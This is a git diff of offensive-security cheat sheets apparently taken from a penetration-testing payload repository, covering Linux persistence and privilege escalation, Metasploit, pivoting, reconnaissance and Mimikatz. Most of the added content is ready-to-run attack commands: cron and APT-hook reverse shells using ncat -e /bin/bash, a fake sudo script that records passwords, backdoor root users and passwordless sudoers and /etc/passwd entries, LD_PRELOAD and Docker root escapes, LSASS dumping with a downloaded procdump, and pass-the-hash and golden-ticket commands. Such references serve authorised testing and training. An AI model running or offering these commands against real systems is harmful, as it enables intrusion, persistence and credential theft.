* [Red Team Ops with Cobalt Strike (3 of 9): C2](https://www.youtube.com/watch?v=Z8n9bIPAIao)
* [Red Team Ops with Cobalt Strike (4 of 9): Weaponization](https://www.youtube.com/watch?v=H0_CKdwbMRk)
* [Red Team Ops with Cobalt Strike (5 of 9): Initial Access](https://www.youtube.com/watch?v=bYt85zm4YT8)
* [Red Team Ops with Cobalt Strike (6 of 9): Post Exploitation](https://www.youtube.com/watch?v=Pb6yvcB2aYw)
* [Red Team Ops with Cobalt Strike (7 of 9): Privilege Escalation](https://www.youtube.com/watch?v=lzwwVwmG0io)
* [Red Team Ops with Cobalt Strike (8 of 9): Lateral Movement](https://www.youtube.com/watch?v=QF_6zFLmLn0)
* [Red Team Ops with Cobalt Strike (9 of 9): Pivoting](https://www.youtube.com/watch?v=sP1HgUu7duU&list=PL9HO6M_MU2nfQ4kHSCzAQMqxQxH47d1no&index=10&t=0s)
* [A Deep Dive into Cobalt Strike Malleable C2 - Joe Vest - Sep 5, 2018 ](https://posts.specterops.io/a-deep-dive-into-cobalt-strike-malleable-c2-6660e33b0e0b)
* [Cobalt Strike. Walkthrough for Red Teamers - Neil Lines - 15 Apr 2019](https://www.pentestpartners.com/security-blog/cobalt-strike-walkthrough-for-red-teamers/)
* [TALES OF A RED TEAMER: HOW TO SETUP A C2 INFRASTRUCTURE FOR COBALT STRIKE UB 2018 - NOV 25 2018](https://holdmybeersecurity.com/2018/11/25/tales-of-a-red-teamer-how-to-setup-a-c2-infrastructure-for-cobalt-strike-ub-2018/)
* [Cobalt Strike - DNS Beacon](https://www.cobaltstrike.com/help-dns-beacon)
* [How to Write Malleable C2 Profiles for Cobalt Strike - January 24, 2017](https://bluescreenofjeff.com/2017-01-24-how-to-write-malleable-c2-profiles-for-cobalt-strike/)

File diff suppressed because one or more lines are too long

View File

@ -1,5 +1,21 @@
# Linux - Persistence
## Summary
* [Basic reverse shell](#basic-reverse-shell)
* [Add a root user](#add-a-root-user)
* [Suid Binary](#suid-binary)
* [Crontab - Reverse shell](#crontab-reverse-shell)
* [Backdooring a user's bash_rc](#backdooring-an-users-bash-rc)
* [Backdooring a startup service](#backdoor-a-startup-service)
* [Backdooring a user startup file](#backdooring-an-user-startup-file)
* [Backdooring a driver](#backdooring-a-driver)
* [Backdooring the APT](#backdooring-the-apt)
* [Backdooring the SSH](#backdooring-the-ssh)
* [Tips](#tips)
* [References](#references)
## Basic reverse shell
```bash
@ -8,6 +24,14 @@ ncat --sctp -lvp 4242
ncat --tcp -lvp 4242
```
## Add a root user
```powershell
sudo useradd -ou 0 -g 0 john
sudo passwd john
echo "linuxpassword" | passwd --stdin john
```
## Suid Binary
```powershell
@ -19,13 +43,15 @@ chown root:root $TMPDIR2/croissant
chmod 4777 $TMPDIR2/croissant
```
## Crontab (Reverse shell to 192.168.1.2 on port 4242)
## Crontab - Reverse shell
```bash
(crontab -l ; echo "@reboot sleep 200 && ncat 192.168.1.2 4242 -e /bin/bash")|crontab 2> /dev/null
```
## Backdooring an user's bash_rc (FR/EN Version)
## Backdooring a user's bash_rc
(FR/EN Version)
```bash
TMPNAME2=".systemd-private-b21245afee3b3274d4b2e2-systemd-timesyncd.service-IgCBE0"
@ -41,6 +67,26 @@ fi
rm /tmp/$TMPNAME2
```
or add the following line inside its .bashrc file.
```powershell
$ chmod u+x ~/.hidden/fakesudo
$ echo "alias sudo=~/.hidden/fakesudo" >> ~./bashrc
```
and create the `fakesudo` script.
```powershell
read -sp "[sudo] password for $USER: " sudopass
echo ""
sleep 2
echo "Sorry, try again."
echo $sudopass >> /tmp/pass.txt
/usr/bin/sudo $@
```
## Backdooring a startup service
```bash
@ -48,7 +94,7 @@ RSHELL="ncat $LMTHD $LHOST $LPORT -e \"/bin/bash -c id;/bin/bash\" 2>/dev/null"
sed -i -e "4i \$RSHELL" /etc/network/if-up.d/upstart
```
## Backdooring an user startup file
## Backdooring a user startup file
Linux, write a file in `~/.config/autostart/NAME_OF_FILE.desktop`
@ -79,14 +125,28 @@ Next time "apt-get update" is done, your CMD will be executed!
echo 'APT::Update::Pre-Invoke {"nohup ncat -lvp 1234 -e /bin/bash 2> /dev/null &"};' > /etc/apt/apt.conf.d/42backdoor
```
## Backdooring the SSH
Add an ssh key into the `~/.ssh` folder.
1. `ssh-keygen`
2. write the content of `~/.ssh/id_rsa.pub` into `~/.ssh/authorized_keys`
3. set the right permission, 700 for ~/.ssh and 600 for authorized_keys
## Tips
Hide the payload with ANSI chars, the following chars will clear the terminal when using cat to display the content of your payload.
```bash
```powershell
## Do not remove. Generated from /etc/issue.conf by configure.
```
Hide in plain sight using zero width spaces in filename.
```powershell
touch $(echo -n 'index\u200D.php') index.php
```
Clear the last line of the history.
```bash

View File

@ -1,20 +1,12 @@
# Linux - Privilege Escalation
## Tools
- [LinEnum - Scripted Local Linux Enumeration & Privilege Escalation Checks](https://github.com/rebootuser/LinEnum)
```powershell
./LinEnum.sh -s -k keyword -r report -e /tmp/ -t
```
- [BeRoot - Privilege Escalation Project - Windows / Linux / Mac](https://github.com/AlessandroZ/BeRoot)
- [linuxprivchecker.py - a Linux Privilege Escalation Check Script](https://gist.github.com/sh1n0b1/e2e1a5f63fbec3706123)
- [unix-privesc-check - Automatically exported from code.google.com/p/unix-privesc-check](https://github.com/pentestmonkey/unix-privesc-check)
## Summary
* [Checklist](#checklist)
* [Tools](#tools)
* [Checklist](#checklists)
* [Looting for passwords](#looting-for-passwords)
* [Files containing passwords](#files-containing-passwords)
* [Old passwords in /etc/security/opasswd](#old-passwords-in--etc-security-opasswd)
* [Last edited files](#last-edited-files)
* [In memory passwords](#in-memory-passwords)
* [Find sensitive files](#find-sensitive-files)
@ -30,12 +22,14 @@
* [Interesting capabilities](#interesting-capabilities)
* [SUDO](#sudo)
* [NOPASSWD](#nopasswd)
* [LD_PRELOAD and NOPASSWD](#ld-preload-and-passwd)
* [LD_PRELOAD and NOPASSWD](#ld_preload-and-nopasswd)
* [Doas](#doas)
* [sudo_inject](#sudo-inject)
* [GTFOBins](#gtfobins)
* [Wildcard](#wildcard)
* [Writable /etc/passwd](#writable---etc---passwd)
* [Writable files](#writable-files)
* [Writable /etc/passwd](#writable-etcpasswd)
* [Writable /etc/sudoers](#writable-etcsudoers)
* [NFS Root Squashing](#nfs-root-squashing)
* [Shared Library](#shared-library)
* [ldconfig](#ldconfig)
@ -43,6 +37,35 @@
* [Groups](#groups)
* [Docker](#docker)
* [LXC/LXD](#lxclxd)
* [Kernel Exploits](#kernel-exploits)
* [CVE-2016-5195 (DirtyCow)](#CVE-2016-5195-dirtycow)
* [CVE-2010-3904 (RDS)](#[CVE-2010-3904-rds)
* [CVE-2010-4258 (Full Nelson)](#CVE-2010-4258-full-nelson)
* [CVE-2012-0056 (Mempodipper)](#CVE-2012-0056-mempodipper)
## Tools
- [LinuxSmartEnumeration - Linux enumeration tools for pentesting and CTFs](https://github.com/diego-treitos/linux-smart-enumeration)
```powershell
wget "https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh" -O lse.sh
curl "https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh" -o lse.sh
./lse.sh -l1 # shows interesting information that should help you to privesc
./lse.sh -l2 # dump all the information it gathers about the system
```
- [LinEnum - Scripted Local Linux Enumeration & Privilege Escalation Checks](https://github.com/rebootuser/LinEnum)
```powershell
./LinEnum.sh -s -k keyword -r report -e /tmp/ -t
```
- [BeRoot - Privilege Escalation Project - Windows / Linux / Mac](https://github.com/AlessandroZ/BeRoot)
- [linuxprivchecker.py - a Linux Privilege Escalation Check Script](https://github.com/sleventyeleven/linuxprivchecker)
- [unix-privesc-check - Automatically exported from code.google.com/p/unix-privesc-check](https://github.com/pentestmonkey/unix-privesc-check)
- [Privilege Escalation through sudo - Linux](https://github.com/TH3xACE/SUDO_KILLER)
## Checklists
@ -64,7 +87,7 @@
* Checks if password hashes are stored in /etc/passwd
* Extract full details for 'default' uid's such as 0, 1000, 1001 etc
* Attempt to read restricted files i.e. /etc/shadow
* List current users history files (i.e .bash_history, .nano_history etc.)
* List current users history files (i.e .bash_history, .nano_history, .mysql_history , etc.)
* Basic SSH checks
* Privileged access:
* Which users have recently used sudo
@ -126,6 +149,13 @@ grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/null
find . -type f -exec grep -i -I "PASSWORD" {} /dev/null \;
```
### Old passwords in /etc/security/opasswd
The `/etc/security/opasswd` file is used also by pam_cracklib to keep the history of old passwords so that the user will not reuse them.
:warning: Treat your opasswd file like your /etc/shadow file because it will end up containing user password hashes
### Last edited files
Files that were edited in the last 10 minutes
@ -172,13 +202,29 @@ Check inside the file, to find other paths with write permissions.
/etc/cron.weekly
/etc/sudoers
/etc/exports
/etc/at.allow
/etc/at.deny
/etc/anacrontab
/var/spool/cron
/var/spool/cron/crontabs/root
crontab -l
ls -alh /var/spool/cron;
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny*
```
You can use [pspy](https://github.com/DominicBreuker/pspy) to detect a CRON job.
```powershell
# print both commands and file system events and scan procfs every 1000 ms (=1sec)
./pspy64 -pf -i 1000
```
## Systemd timers
```powershell
@ -205,6 +251,7 @@ SUID/Setuid stands for "set user ID upon execution", it is enabled by default in
```bash
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
find / -uid 0 -perm -4000 -type f 2>/dev/null
```
### Create a SUID binary
@ -265,7 +312,26 @@ sh-5.0# id
uid=0(root) gid=1000(swissky)
```
| Capabilities name | Description |
|---|---|
| CAP_AUDIT_CONTROL | Allow to enable/disable kernel auditing |
| CAP_AUDIT_WRITE | Helps to write records to kernel auditing log |
| CAP_BLOCK_SUSPEND | This feature can block system suspends |
| CAP_CHOWN | Allow user to make arbitrary change to files UIDs and GIDs |
| CAP_DAC_OVERRIDE | This helps to bypass file read, write and execute permission checks |
| CAP_DAC_READ_SEARCH | This only bypass file and directory read/execute permission checks |
| CAP_FOWNER | This enables to bypass permission checks on operations that normally require the filesystem UID of the process to match the UID of the file |
| CAP_KILL | Allow the sending of signals to processes belonging to others |
| CAP_SETGID | Allow changing of the GID |
| CAP_SETUID | Allow changing of the UID |
| CAP_SETPCAP | Helps to transferring and removal of current set to any PID |
| CAP_IPC_LOCK | This helps to lock memory |
| CAP_MAC_ADMIN | Allow MAC configuration or state changes |
| CAP_NET_RAW | Use RAW and PACKET sockets |
| CAP_NET_BIND_SERVICE | SERVICE Bind a socket to internet domain privileged ports |
## SUDO
Tool: [Sudo Exploitation](https://github.com/TH3xACE/SUDO_KILLER)
### NOPASSWD
@ -293,7 +359,7 @@ If `LD_PRELOAD` is explicitly defined in the sudoers file
Defaults env_keep += LD_PRELOAD
```
Compile the following C code with `gcc -fPIC -shared -o shell.so shell.c -nostartfiles`
Compile the following shared object using the C code below with `gcc -fPIC -shared -o shell.so shell.c -nostartfiles`
```powershell
#include <stdio.h>
@ -307,7 +373,7 @@ void _init() {
}
```
Execute any binary with the LD_PRELOAD to spawn a shell : `sudo LD_PRELOAD=/tmp/shell.so find`
Execute any binary with the LD_PRELOAD to spawn a shell : `sudo LD_PRELOAD=<full_path_to_so_file> <program>`, e.g: `sudo LD_PRELOAD=/tmp/shell.so find`
### Doas
@ -363,10 +429,19 @@ tar cf archive.tar *
Tool: [wildpwn](https://github.com/localh0t/wildpwn)
## Writable files
## Writable /etc/passwd
List world writable files on the system.
First generate a password with one of the following commands
```powershell
find / -writable ! -user `whoami` -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null
find / -perm -2 -type f 2>/dev/null
find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null
```
### Writable /etc/passwd
First generate a password with one of the following commands.
```powershell
openssl passwd -1 -salt hacker hacker
@ -384,17 +459,39 @@ E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
You can now use the `su` command with `hacker:hacker`
Alternatively you can use the following lines to add a dummy user without a password.
WARNING: you might degrade the current security of the machine.
```powershell
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy
```
NOTE: In BSD platforms `/etc/passwd` is located at `/etc/pwd.db` and `/etc/master.passwd`, also the `/etc/shadow` is renamed to `/etc/spwd.db`.
### Writable /etc/sudoers
```powershell
echo "username ALL=(ALL:ALL) ALL">>/etc/sudoers
# use SUDO without password
echo "username ALL=(ALL) NOPASSWD: ALL" >>/etc/sudoers
echo "username ALL=NOPASSWD: /bin/bash" >>/etc/sudoers
```
## NFS Root Squashing
When **no_root_squash** appears in `/etc/exports`, the folder is shareable and a remote user can mount it
When **no_root_squash** appears in `/etc/exports`, the folder is shareable and a remote user can mount it.
```powershell
# remote check the name of the folder
showmount -e 10.10.10.10
# create dir
mkdir /tmp/nfsdir
# mount directory
mount -t nfs 10.10.10.10:/shared /tmp/nfsdir
mount -t nfs 10.10.10.10:/shared /tmp/nfsdir
cd /tmp/nfsdir
# copy wanted shell
@ -475,6 +572,12 @@ $> docker run -it --rm -v $PWD:/mnt bash
$> echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /mnt/etc/passwd
```
Almost similar but you will also see all processes running on the host and be connected to the same NICs.
```powershell
docker run --rm -it --pid=host --net=host --privileged -v /:/host ubuntu bash
```
Or use the following docker image from [chrisfosterelli](https://hub.docker.com/r/chrisfosterelli/rootplease/) to spawn a root shell
```powershell
@ -495,6 +598,13 @@ sh-5.0# id
uid=0(root) gid=0(root) groups=0(root)
```
More docker privilege escalation using the Docker Socket.
```powershell
sudo docker -H unix:///google/host/var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
sudo docker -H unix:///google/host/var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
```
### LXC/LXD
The privesc requires to run a container with elevated privileges and mount the host filesystem inside.
@ -526,6 +636,53 @@ lxc start mycontainer
lxc exec mycontainer /bin/sh
```
Alternatively https://github.com/initstring/lxd_root
## Kernel Exploits
Precompiled exploits can be found inside these repositories, run them at your own risk !
* [bin-sploits - @offensive-security](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits)
* [kernel-exploits - @lucyoa](https://github.com/lucyoa/kernel-exploits/)
The following exploits are known to work well, search for another exploits using `searchsploit -w linux kernel centos`.
### CVE-2016-5195 (DirtyCow)
Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8
```powershell
# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
```
### CVE-2010-3904 (RDS)
Linux RDS Exploit - Linux Kernel <= 2.6.36-rc8
```powershell
https://www.exploit-db.com/exploits/15285/
```
### CVE-2010-4258 (Full Nelson)
Linux Kernel 2.6.37 (RedHat / Ubuntu 10.04)
```powershell
https://www.exploit-db.com/exploits/15704/
```
### CVE-2012-0056 (Mempodipper)
Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64)
```powershell
https://www.exploit-db.com/exploits/18411
```
## References
- [SUID vs Capabilities - Dec 7, 2017 - Nick Void aka mn3m](https://mn3m.info/posts/suid-vs-capabilities/)
@ -537,4 +694,6 @@ lxc exec mycontainer /bin/sh
- [HOW TO EXPLOIT WEAK NFS PERMISSIONS THROUGH PRIVILEGE ESCALATION? - APRIL 25, 2018](https://www.securitynewspaper.com/2018/04/25/use-weak-nfs-permissions-escalate-linux-privileges/)
- [Privilege Escalation via lxd - @reboare](https://reboare.github.io/lxd/lxd-escape.html)
- [Editing /etc/passwd File for Privilege Escalation - Raj Chandel - MAY 12, 2018](https://www.hackingarticles.in/editing-etc-passwd-file-for-privilege-escalation/)
- [Privilege Escalation by injecting process possessing sudo tokens - @nongiach @chaignc](https://github.com/nongiach/sudo_inject)
- [Privilege Escalation by injecting process possessing sudo tokens - @nongiach @chaignc](https://github.com/nongiach/sudo_inject)
* [Linux Password Security with pam_cracklib - Hal Pomeranz, Deer Run Associates](http://www.deer-run.com/~hal/sysadmin/pam_cracklib.html)
* [Local Privilege Escalation Workshop - Slides.pdf - @sagishahar](https://github.com/sagishahar/lpeworkshop/blob/master/Local%20Privilege%20Escalation%20Workshop%20-%20Slides.pdf)

View File

@ -10,6 +10,7 @@
* [Meterpreter Webdelivery](#meterpreter-webdelivery)
* [Get System](#get-system)
* [Persistence Startup](#persistence-startup)
* [Network Monitoring](#network-monitoring)
* [Portforward](#portforward)
* [Upload / Download](#upload---download)
* [Execute from Memory](#execute-from-memory)
@ -58,7 +59,9 @@ set PAYLOAD generic/shell_reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
set ExitOnSession false
exploit -j
generate -o /tmp/meterpreter.exe -f exe
to_handler
[ctrl+a] + [d]
```
@ -128,6 +131,16 @@ OPTIONS:
meterpreter > run persistence -U -p 4242
```
### Network Monitoring
```powershell
# list interfaces
run packetrecorder -li
# record interface n°1
run packetrecorder -i 1
```
### Portforward
```powershell

View File

@ -176,6 +176,18 @@ masscan -e tun0 -p1-65535,U:1-65535 10.10.10.97 --rate 1000
index: 0x8 Account: root Name: root Desc: (null)
```
* Zone Transfer
```powershell
host -t ns domain.local
domain.local name server master.domain.local.
host master.domain.local
master.domain.local has address 192.168.1.1
dig axfr domain.local @192.168.1.1
```
## List all the subdirectories and files
* Using BFAC (Backup File Artifacts Checker): An automated tool that checks for backup artifacts that may disclose the web-application's source code.

View File

@ -3,6 +3,7 @@
## Summary
- [Nmap](#nmap)
- [Spyse](#spyse)
- [Masscan](#masscan)
- [Netdiscover](#netdiscover)
- [Responder](#responder)
@ -97,11 +98,54 @@ Host script results:
List Nmap scripts : ls /usr/share/nmap/scripts/
```
## Spyse
* Spyse API - for detailed info is better to check [Spyse](https://spyse.com/)
* [Spyse Wrapper](https://github.com/zeropwn/spyse.py)
#### Searching for subdomains
```bash
spyse -target xbox.com --subdomains
```
#### Reverse IP Lookup
```bash
spyse -target 52.14.144.171 --domains-on-ip
```
#### Searching for SSL certificates
```bash
spyse -target hotmail.com --ssl-certificates
```
```bash
spyse -target "org: Microsoft" --ssl-certificates
```
#### Getting all DNS records
```bash
spyse -target xbox.com --dns-all
```
## Masscan
```powershell
masscan -iL ips-online.txt --rate 10000 -p1-65535 --only-open -oL masscan.out
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.97 --rate 1000
# find machines on the network
sudo masscan --rate 500 --interface tap0 --router-ip $ROUTER_IP --top-ports 100 $NETWORK -oL masscan_machines.tmp
cat masscan_machines.tmp | grep open | cut -d " " -f4 | sort -u > masscan_machines.lst
# find open ports for one machine
sudo masscan --rate 1000 --interface tap0 --router-ip $ROUTER_IP -p1-65535,U:1-65535 $MACHINE_IP --banners -oL $MACHINE_IP/scans/masscan-ports.lst
# TCP grab banners and services informations
TCP_PORTS=$(cat $MACHINE_IP/scans/masscan-ports.lst| grep open | grep tcp | cut -d " " -f3 | tr '\n' ',' | head -c -1)
[ "$TCP_PORTS" ] && sudo nmap -sT -sC -sV -v -Pn -n -T4 -p$TCP_PORTS --reason --version-intensity=5 -oA $MACHINE_IP/scans/nmap_tcp $MACHINE_IP
# UDP grab banners and services informations
UDP_PORTS=$(cat $MACHINE_IP/scans/masscan-ports.lst| grep open | grep udp | cut -d " " -f3 | tr '\n' ',' | head -c -1)
[ "$UDP_PORTS" ] && sudo nmap -sU -sC -sV -v -Pn -n -T4 -p$UDP_PORTS --reason --version-intensity=5 -oA $MACHINE_IP/scans/nmap_udp $MACHINE_IP
```
## Reconnoitre
@ -154,4 +198,4 @@ bettercap -X --proxy --proxy-https -T <target IP>
## References
* [TODO](TODO)
* [TODO](TODO)

View File

@ -1,5 +1,27 @@
# Network Pivoting Techniques
## Summary
* [Windows netsh Port Forwarding](#windows-netsh-port-forwarding)
* [SSH](#ssh)
* [SOCKS Proxy](#socks-proxy)
* [Local Port Forwarding](#local-port-forwarding)
* [Remote Port Forwarding](#remote-port-forwarding)
* [Proxychains](#proxychains)
* [Web SOCKS - reGeorg](#web-socks---regeorg)
* [Metasploit](#metasploit)
* [sshuttle](#sshuttle)
* [chisel](#chisel)
* [Rpivot](#rpivot)
* [RevSocks](#revsocks)
* [plink](#plink)
* [ngrok](#ngrok)
* [Basic Pivoting Types](#basic-pivoting-types)
* [Listen - Listen](#listen---listen)
* [Listen - Connect](#listen---connect)
* [Connect - Connect](#connect---connect)
* [References](#references)
## Windows netsh Port Forwarding
```powershell
@ -42,6 +64,7 @@ ssh -L [bindaddr]:[port]:[dsthost]:[dstport] [user]@[host]
```bash
ssh -R [bindaddr]:[port]:[localhost]:[localport] [user]@[host]
ssh -R 3389:10.1.1.224:3389 root@10.11.0.32
```
## Proxychains
@ -83,14 +106,62 @@ optional arguments:
## Metasploit
```c
portfwd list
```powershell
# Meterpreter list active port forwards
portfwd list
# Forwards 3389 (RDP) to 3389 on the compromised machine running the Meterpreter shell
portfwd add l 3389 p 3389 r target-host
portfwd add -l 88 -p 88 -r 127.0.0.1
portfwd add -L 0.0.0.0 -l 445 -r 192.168.57.102 -p 445
# Forwards 3389 (RDP) to 3389 on the compromised machine running the Meterpreter shell
portfwd delete l 3389 p 3389 r target-host
# Meterpreter delete all port forwards
portfwd flush
or
run autoroute -s 192.168.57.0/24
# Use Meterpreters autoroute script to add the route for specified subnet 192.168.15.0
run autoroute -s 192.168.15.0/24
use auxiliary/server/socks4a
# Meterpreter list all active routes
run autoroute -p
route #Meterpreter view available networks the compromised host can access
# Meterpreter add route for 192.168.14.0/24 via Session number.
route add 192.168.14.0 255.255.255.0 3
# Meterpreter delete route for 192.168.14.0/24 via Session number.
route delete 192.168.14.0 255.255.255.0 3
# Meterpreter delete all routes
route flush
```
## sshuttle
Transparent proxy server that works as a poor man's VPN. Forwards over ssh.
* Doesn't require admin.
* Works with Linux and MacOS.
* Supports DNS tunneling.
```powershell
pacman -Sy sshuttle
apt-get install sshuttle
sshuttle -vvr user@10.10.10.10 10.1.1.0/24
sshuttle -vvr username@pivot_host 10.2.2.0/24
```
## chisel
```powershell
go get -v github.com/jpillora/chisel
# forward port 389 and 88 to hacker computer
user@victim$ .\chisel.exe client YOUR_IP:8008 R:88:127.0.0.1:88 R:389:localhost:389
user@hacker$ /opt/chisel/chisel server -p 8008 --reverse
```
## Rpivot
@ -122,12 +193,52 @@ python client.py --server-ip [server ip] --server-port 9443 --ntlm-proxy-ip [pro
--hashes 986D46921DDE3E58E03656362614DEFE:50C189A98FF73B39AAD3B435B51404EE
```
## revsocks
```powershell
# Listen on the server and create a SOCKS 5 proxy on port 1080
user@VPS$ ./revsocks -listen :8443 -socks 127.0.0.1:1080 -pass Password1234
# Connect client to the server
user@PC$ ./revsocks -connect 10.10.10.10:8443 -pass Password1234
user@PC$ ./revsocks -connect 10.10.10.10:8443 -pass Password1234 -proxy proxy.domain.local:3128 -proxyauth Domain/userpame:userpass -useragent "Mozilla 5.0/IE Windows 10"
```
```powershell
# Build for Linux
git clone https://github.com/kost/revsocks
export GOPATH=~/go
go get github.com/hashicorp/yamux
go get github.com/armon/go-socks5
go get github.com/kost/go-ntlmssp
go build
go build -ldflags="-s -w" && upx --brute revsocks
# Build for Windows
go get github.com/hashicorp/yamux
go get github.com/armon/go-socks5
go get github.com/kost/go-ntlmssp
GOOS=windows GOARCH=amd64 go build -ldflags="-s -w"
go build -ldflags -H=windowsgui
upx revsocks
```
## plink
```powershell
plink -l root -pw toor ssh-server-ip -R 3390:127.0.0.1:3389 --> exposes the RDP port of the machine in the port 3390 of the SSH Server
# exposes the SMB port of the machine in the port 445 of the SSH Server
plink -l root -pw toor -R 445:127.0.0.1:445
# exposes the RDP port of the machine in the port 3390 of the SSH Server
plink -l root -pw toor ssh-server-ip -R 3390:127.0.0.1:3389
plink -l root -pw mypassword 192.168.18.84 -R
plink.exe -v -pw mypassword user@10.10.10.10 -L 6666:127.0.0.1:445
plink -R [Port to forward to on your VPS]:localhost:[Port to forward on your local machine] [VPS IP]
# redirects the Windows port 445 to Kali on port 22
plink -P 22 -l root -pw some_password -C -R 445:127.0.0.1:445 192.168.12.185
```
## ngrok
@ -154,7 +265,7 @@ unzip ngrok-stable-linux-amd64.zip
| Listen - Connect | Normal redirect. |
| Connect - Connect | Cant bind, so connect to bridge two hosts |
## Listen - Listen
### Listen - Listen
| Type | Use Case |
| :------------- | :------------------------------------------ |
@ -163,7 +274,7 @@ unzip ngrok-stable-linux-amd64.zip
| remote host 1 | `ncat localhost 8080 < file` |
| remote host 2 | `ncat localhost 9090 > newfile` |
## Listen - Connect
### Listen - Connect
| Type | Use Case |
| :------------- | :------------------------------------------ |
@ -172,13 +283,13 @@ unzip ngrok-stable-linux-amd64.zip
| remote host 1 | `ncat localhost -p 8080 < file` |
| remote host 2 | `ncat -l -p 9090 > newfile` |
## Connect - Connect
### Connect - Connect
| Type | Use Case |
| :------------- | :------------------------------------------ |
| ncat | `ncat localhost 8080 -c "ncat localhost 9090"` |
| socat | `socat -v tcp-connect:localhost:8080,reuseaddr tcp-connect:localhost:9090` |
| remote host 1 | `ncat -l -p 8080 < file |
| remote host 1 | `ncat -l -p 8080 < file` |
| remote host 2 | `ncat -l -p 9090 > newfile` |
## References
@ -187,4 +298,5 @@ unzip ngrok-stable-linux-amd64.zip
* [Port Forwarding in Windows - Windows OS Hub](http://woshub.com/port-forwarding-in-windows/)
* [Using the SSH "Konami Code" (SSH Control Sequences) - Jeff McJunkin](https://pen-testing.sans.org/blog/2015/11/10/protected-using-the-ssh-konami-code-ssh-control-sequences)
* [A Red Teamer's guide to pivoting- Mar 23, 2017 - Artem Kondratenko](https://artkond.com/2017/03/23/pivoting-guide/)
* [Pivoting Meterpreter](https://www.information-security.fr/pivoting-meterpreter/)
* [Pivoting Meterpreter](https://www.information-security.fr/pivoting-meterpreter/)
* [Etat de lart du pivoting réseau en 2019 - Oct 28,2019 - Alexandre Zanni](https://cyberdefense.orange.com/fr/blog/etat-de-lart-du-pivoting-reseau-en-2019/)

File diff suppressed because one or more lines are too long

View File

@ -9,6 +9,7 @@
* EyeWitness
* Sublist3r
* Subfinder
* Findomain
* Aquatone (Ruby and Go versions)
* AltDNS
* MassDNS
@ -86,6 +87,17 @@ go get github.com/subfinder/subfinder
./Subfinder/subfinder -d example.com -o /tmp/results_subfinder.txt
```
### Using Findomain
```powershell
$ wget https://github.com/Edu4rdSHL/findomain/releases/latest/download/findomain-linux
$ chmod +x findomain-linux
$ findomain_spyse_token="YourAccessToken"
$ findomain_virustotal_token="YourAccessToken"
$ findomain_fb_token="YourAccessToken"
$ ./findomain-linux -t example.com -o
```
### Using Aquatone - old version (Ruby)
```powershell

View File

@ -1,5 +1,18 @@
# Windows - Mimikatz
## Summary
* [Mimikatz - Execute commands](#)
* [Mimikatz - Extract passwords](#)
* [Mimikatz - Mini Dump](#)
* [Mimikatz - Golden ticket](#)
* [Mimikatz - Skeleton key](#)
* [Mimikatz - RDP session takeover](#)
* [Mimikatz - Credential Manager & DPAPI](#)
* [Mimikatz - Commands list](#)
* [Mimikatz - Powershell version](#)
* [References](#references)
![Data in memory](http://adsecurity.org/wp-content/uploads/2014/11/Delpy-CredentialDataChart.png)
## Mimikatz - Execute commands
@ -21,18 +34,40 @@ mimikatz # sekurlsa::wdigest
## Mimikatz - Extract passwords
> Microsoft disabled lsass clear text storage since Win8.1 / 2012R2+. It was backported (KB2871997) as a reg key on Win7 / 8 / 2008R2 / 2012 but clear text is still enabled.
```powershell
mimikatz_command -f sekurlsa::logonPasswords full
mimikatz_command -f sekurlsa::wdigest
# to re-enable wdigest in Windows Server 2012+
# in HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest
# create a DWORD 'UseLogonCredential' with the value 1.
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /f /d 1
```
:warning: To take effect, conditions are required :
- Win7 / 2008R2 / 8 / 2012 / 8.1 / 2012R2:
* Adding requires lock
* Removing requires signout
- Win10:
* Adding requires signout
* Removing requires signout
- Win2016:
* Adding requires lock
* Removing requires reboot
## Mimikatz - Mini Dump
Dump the lsass process.
```powershell
C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
# HTTP method
certutil -urlcache -split -f http://live.sysinternals.com/procdump.exe C:\Users\Public\procdump.exe
C:\Users\Public\procdump.exe -accepteula -ma lsass.exe lsass.dmp
# SMB method
net use Z: https://live.sysinternals.com
Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
```
@ -45,7 +80,13 @@ Switch to minidump
mimikatz # sekurlsa::logonPasswords
```
## Mimikatz Golden ticket
## Mimikatz - Pass The Hash
```powershell
mimikatz # sekurlsa::pth /user:SCCM$ /domain:IDENTITY /ntlm:e722dfcd077a2b0bbe154a1b42872f4e /run:powershell
```
## Mimikatz - Golden ticket
```powershell
.\mimikatz kerberos::golden /admin:ADMINACCOUNTNAME /domain:DOMAINFQDN /id:ACCOUNTRID /sid:DOMAINSID /krbtgt:KRBTGTPASSWORDHASH /ptt
@ -55,7 +96,7 @@ mimikatz # sekurlsa::logonPasswords
.\mimikatz "kerberos::golden /admin:DarthVader /domain:rd.lab.adsecurity.org /id:9999 /sid:S-1-5-21-135380161-102191138-581311202 /krbtgt:13026055d01f235d67634e109da03321 /startoffset:0 /endin:600 /renewmax:10080 /ptt" exit
```
## Mimikatz Skeleton key
## Mimikatz - Skeleton key
```powershell
privilege::debug
